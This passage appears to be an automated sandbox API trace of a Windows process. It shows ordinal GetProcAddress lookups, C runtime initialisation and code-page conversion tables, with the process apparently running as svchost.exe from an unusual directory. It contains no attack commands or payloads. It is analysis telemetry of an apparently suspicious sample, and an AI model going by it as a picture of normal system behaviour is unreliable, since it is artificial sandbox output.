[0113.077] GetProcAddress (hModule=0x11000000, lpProcName=0x23f) returned 0x11083080 [0113.077] GetProcAddress (hModule=0x11000000, lpProcName=0x401) returned 0x11003f20 [0113.077] GetProcAddress (hModule=0x11000000, lpProcName=0xf6) returned 0x1106dce0 [0113.077] GetProcAddress (hModule=0x11000000, lpProcName=0x44c) returned 0x1109bc70 [0113.077] GetProcAddress (hModule=0x11000000, lpProcName=0x1255) returned 0x11099c80 [0113.078] GetProcAddress (hModule=0x11000000, lpProcName=0x857) returned 0x110994f0 [0113.078] GetProcAddress (hModule=0x11000000, lpProcName=0x26e) returned 0x1109bee0 [0113.078] GetProcAddress (hModule=0x11000000, lpProcName=0x2a7) returned 0x1109c740 [0113.078] GetProcAddress (hModule=0x11000000, lpProcName=0x9dc) returned 0x1109bfa0 [0113.078] GetProcAddress (hModule=0x11000000, lpProcName=0xdb1) returned 0x110a24d0 [0113.078] GetProcAddress (hModule=0x11000000, lpProcName=0xe0b) returned 0x1109bfc0 [0113.078] GetProcAddress (hModule=0x11000000, lpProcName=0x3ff) returned 0x1109bca0 [0113.079] GetProcAddress (hModule=0x11000000, lpProcName=0x993) returned 0x1109bf70 [0113.079] GetProcAddress (hModule=0x11000000, lpProcName=0x26f) returned 0x1109d4d0 [0113.079] GetProcAddress (hModule=0x11000000, lpProcName=0x291) returned 0x110994e0 [0113.079] GetProcAddress (hModule=0x11000000, lpProcName=0x191) returned 0x11096520 [0113.079] GetProcAddress (hModule=0x11000000, lpProcName=0x5d) returned 0x110636b0 [0113.079] GetProcAddress (hModule=0x11000000, lpProcName=0x38f) returned 0x110696c0 [0113.079] GetProcAddress (hModule=0x11000000, lpProcName=0xd44) returned 0x11004b20 [0113.079] GetProcAddress (hModule=0x11000000, lpProcName=0xe49) returned 0x11004950 [0113.080] GetProcAddress (hModule=0x11000000, lpProcName=0x359) returned 0x11083a40 [0113.080] GetProcAddress (hModule=0x11000000, lpProcName=0x38c) returned 0x110698e0 [0113.080] GetProcAddress (hModule=0x11000000, lpProcName=0x2a8) returned 0x110a0ca0 [0113.080] GetProcAddress (hModule=0x11000000, lpProcName=0x3f8) returned 0x1109bcc0 [0113.080] GetProcAddress (hModule=0x11000000, lpProcName=0x89c) returned 0x1109bd10 [0113.080] GetProcAddress (hModule=0x11000000, lpProcName=0xc85) returned 0x1106dbc0 [0113.080] GetProcAddress (hModule=0x11000000, lpProcName=0x270) returned 0x1109f9b0 [0113.080] GetProcAddress (hModule=0x11000000, lpProcName=0x80) returned 0x110371f0 [0113.081] GetProcAddress (hModule=0x11000000, lpProcName=0xfcd) returned 0x110c1760 [0113.081] GetProcAddress (hModule=0x11000000, lpProcName=0x9ab) returned 0x110c0a30 [0113.081] GetProcAddress (hModule=0x11000000, lpProcName=0x170) returned 0x11096760 [0113.081] GetProcAddress (hModule=0x11000000, lpProcName=0x16f) returned 0x11093df0 [0113.081] GetProcAddress (hModule=0x11000000, lpProcName=0x172) returned 0x11094f20 [0113.081] GetProcAddress (hModule=0x11000000, lpProcName=0x171) returned 0x11095750 [0113.081] GetProcAddress (hModule=0x11000000, lpProcName=0x377) returned 0x1106a220 [0113.082] GetProcAddress (hModule=0x11000000, lpProcName=0x379) returned 0x11069e30 [0113.082] GetProcAddress (hModule=0x11000000, lpProcName=0x37b) returned 0x1106a180 [0113.082] GetProcAddress (hModule=0x11000000, lpProcName=0x10e0) returned 0x1108b600 [0113.082] GetProcAddress (hModule=0x11000000, lpProcName=0x111f) returned 0x1108b4a0 [0113.082] GetProcAddress (hModule=0x11000000, lpProcName=0x13b) returned 0x11074f40 [0113.082] GetProcAddress (hModule=0x11000000, lpProcName=0x687) returned 0x110699c0 [0113.082] GetProcAddress (hModule=0x11000000, lpProcName=0x47b) returned 0x110bfde0 [0113.083] GetProcAddress (hModule=0x11000000, lpProcName=0xbd) returned 0x11002770 [0113.083] GetProcAddress (hModule=0x11000000, lpProcName=0x13a) returned 0x110782d0 [0113.083] GetProcAddress (hModule=0x11000000, lpProcName=0x3bc) returned 0x11049cf0 [0113.083] GetProcAddress (hModule=0x11000000, lpProcName=0x118) returned 0x110768b0 [0113.083] GetProcAddress (hModule=0x11000000, lpProcName=0x885) returned 0x110a0c40 [0113.083] GetProcAddress (hModule=0x11000000, lpProcName=0x18f) returned 0x11097130 [0113.083] GetProcAddress (hModule=0x11000000, lpProcName=0x2ec) returned 0x11084e40 [0113.083] GetProcAddress (hModule=0x11000000, lpProcName=0x117) returned 0x11076ac0 [0113.084] GetProcAddress (hModule=0x11000000, lpProcName=0x190) returned 0x11095b30 [0113.084] GetProcAddress (hModule=0x11000000, lpProcName=0x2ef) returned 0x110a0630 [0113.084] GetProcAddress (hModule=0x11000000, lpProcName=0x2ee) returned 0x110470f0 [0113.084] GetProcAddress (hModule=0x11000000, lpProcName=0x18a) returned 0x11094380 [0113.084] GetProcAddress (hModule=0x11000000, lpProcName=0x306) returned 0x110a03b0 [0113.084] GetProcAddress (hModule=0x11000000, lpProcName=0x7a7) returned 0x110965e0 [0113.084] GetProcAddress (hModule=0x11000000, lpProcName=0x25) returned 0x11091170 [0113.085] GetProcAddress (hModule=0x11000000, lpProcName=0x23) returned 0x11090c90 [0113.085] GetProcAddress (hModule=0x11000000, lpProcName=0x338) returned 0x1108a060 [0113.085] GetProcAddress (hModule=0x11000000, lpProcName=0x336) returned 0x11089ee0 [0113.085] GetProcAddress (hModule=0x11000000, lpProcName=0x8) returned 0x1107e850 [0113.085] GetProcAddress (hModule=0x11000000, lpProcName=0x443) returned 0x11090fc0 [0113.085] GetProcAddress (hModule=0x11000000, lpProcName=0xe74) returned 0x11090d50 [0113.085] GetProcAddress (hModule=0x11000000, lpProcName=0xe27) returned 0x11090bc0 [0113.085] GetProcAddress (hModule=0x11000000, lpProcName=0x2ce) returned 0x1108a040 [0113.086] GetProcAddress (hModule=0x11000000, lpProcName=0x7) returned 0x1107e940 [0113.086] GetProcAddress (hModule=0x11000000, lpProcName=0x2cc) returned 0x11089ec0 [0113.086] GetProcAddress (hModule=0x11000000, lpProcName=0x2bf) returned 0x11091240 [0113.086] GetProcAddress (hModule=0x11000000, lpProcName=0x97a) returned 0x11066ac0 [0113.086] GetProcAddress (hModule=0x11000000, lpProcName=0x56) returned 0x11066750 [0113.086] GetProcAddress (hModule=0x11000000, lpProcName=0x58) returned 0x11062210 [0113.086] GetProcAddress (hModule=0x11000000, lpProcName=0xe8c) returned 0x11075da0 [0113.086] GetProcAddress (hModule=0x11000000, lpProcName=0x139) returned 0x11075d00 [0113.087] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f73c | out: lpSystemTimeAsFileTime=0x18f73c*(dwLowDateTime=0x9469e840, dwHighDateTime=0x1d60051)) [0113.087] GetCurrentProcessId () returned 0xb7c [0113.087] GetCurrentThreadId () returned 0x9fc [0113.087] GetTickCount () returned 0x114f132 [0113.087] QueryPerformanceCounter (in: lpPerformanceCount=0x18f734 | out: lpPerformanceCount=0x18f734*=23289483936) returned 1 [0113.089] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2e50000 [0113.092] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0113.092] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b [0113.093] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252 [0113.093] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208 [0113.093] GetProcAddress (hModule=0x76d30000, lpProcName="FlsFree") returned 0x76d4359f [0113.093] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0113.093] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0113.245] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0113.245] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0113.259] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0113.259] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0113.259] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0113.260] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0113.260] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0113.260] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0113.260] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0113.260] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0113.261] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0113.261] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0113.261] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0113.262] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0113.262] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x214) returned 0x2e507d0 [0113.262] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0113.262] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0113.262] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0113.263] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0113.263] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0113.263] GetCurrentThreadId () returned 0x9fc [0113.263] GetCommandLineA () returned="C:\\Windows\\svchost.exe" [0113.263] GetEnvironmentStringsW () returned 0x2d1c68* [0113.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", cchWideChar=1435, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1435 [0113.263] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x0, Size=0x59b) returned 0x2e509f0 [0113.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", cchWideChar=1435, lpMultiByteStr=0x2e509f0, cbMultiByte=1435, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=C:=C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpUsedDefaultChar=0x0) returned 1435 [0113.263] FreeEnvironmentStringsW (penv=0x2d1c68) returned 1 [0113.263] GetStartupInfoA (in: lpStartupInfo=0x18f68c | out: lpStartupInfo=0x18f68c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\svchost.exe", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0113.263] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x800) returned 0x2e50f98 [0113.264] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0113.264] GetFileType (hFile=0x3) returned 0x0 [0113.264] GetStdHandle (nStdHandle=0xfffffff5) returned 0x1fc [0113.264] GetFileType (hFile=0x1fc) returned 0x3 [0113.264] GetStdHandle (nStdHandle=0xfffffff4) returned 0x204 [0113.264] GetFileType (hFile=0x204) returned 0x3 [0113.264] SetHandleCount (uNumber=0x20) returned 0x20 [0113.264] GetLastError () returned 0x6 [0113.264] SetLastError (dwErrCode=0x6) [0113.264] GetLastError () returned 0x6 [0113.264] SetLastError (dwErrCode=0x6) [0113.267] GetLastError () returned 0x6 [0113.267] SetLastError (dwErrCode=0x6) [0113.267] GetACP () returned 0x4e4 [0113.267] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x0, Size=0x220) returned 0x2e517a0 [0113.267] GetLastError () returned 0x6 [0113.267] SetLastError (dwErrCode=0x6) [0113.267] IsValidCodePage (CodePage=0x4e4) returned 1 [0113.268] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f66c | out: lpCPInfo=0x18f66c) returned 1 [0113.268] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f138 | out: lpCPInfo=0x18f138) returned 1 [0113.270] GetLastError () returned 0x6 [0113.270] SetLastError (dwErrCode=0x6) [0113.270] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f0c8 | out: lpCharType=0x18f0c8) returned 1 [0113.270] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f54c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0113.273] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f54c, cbMultiByte=256, lpWideCharStr=0x18eeb8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ궖ሃĀ") returned 256 [0113.273] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ궖ሃĀ", cchSrc=256, lpCharType=0x18f14c | out: lpCharType=0x18f14c) returned 1 [0113.273] GetLastError () returned 0x6 [0113.273] SetLastError (dwErrCode=0x6) [0113.273] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0113.273] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f54c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0113.273] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f54c, cbMultiByte=256, lpWideCharStr=0x18ee88, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0113.273] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0113.273] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18ec78, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0113.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18f44c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿV¿\x9aø\x84ö\x18", lpUsedDefaultChar=0x0) returned 256 [0113.274] GetLastError () returned 0x6 [0113.274] SetLastError (dwErrCode=0x6) [0113.274] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f54c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0113.274] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f54c, cbMultiByte=256, lpWideCharStr=0x18eea8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0113.274] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0113.274] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18ec98, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0113.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18f34c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f 